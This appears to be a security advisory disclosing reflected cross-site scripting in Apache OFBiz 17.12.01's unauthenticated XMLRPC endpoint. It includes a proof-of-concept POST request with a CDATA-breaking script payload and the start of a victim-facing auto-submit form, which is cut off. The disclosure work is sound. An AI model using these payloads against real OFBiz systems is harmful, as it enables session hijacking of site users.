Summary
Apache OfBiz is vulnerable to Reflected Cross-Site Scripting through POST request
Product
Apache Ofbiz
Tested Version
17.12.01
Details
Cross-Site Scripting in XMLRPC module
/webtools/control/xmlrpc exposes some unauthenticated services such as ping. We can use this service to reflect arbitrary data and get a Cross-Site Scripting issue
POST /webtools/control/xmlrpc?echo=foo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: https://localhost:8443
Connection: keep-alive, Upgrade
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/xml
Content-Length: 140
]]></string><a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(document.domain)</a:script><string><![CDATA[
A POST XSS issue can be triggered by fooling the victim into visiting a malicious page. e.g:
<html>
<body>
<form name=TheForm action=http://localhost:8080/webtools/control/xmlrpc?echo=foo method=post enctype="text/plain">
<input type=hidden name=foo value="]]></string><a:script xmlns:a='http://www.w3.org/1999/xhtml'>alert(document.domain)</a:script><string><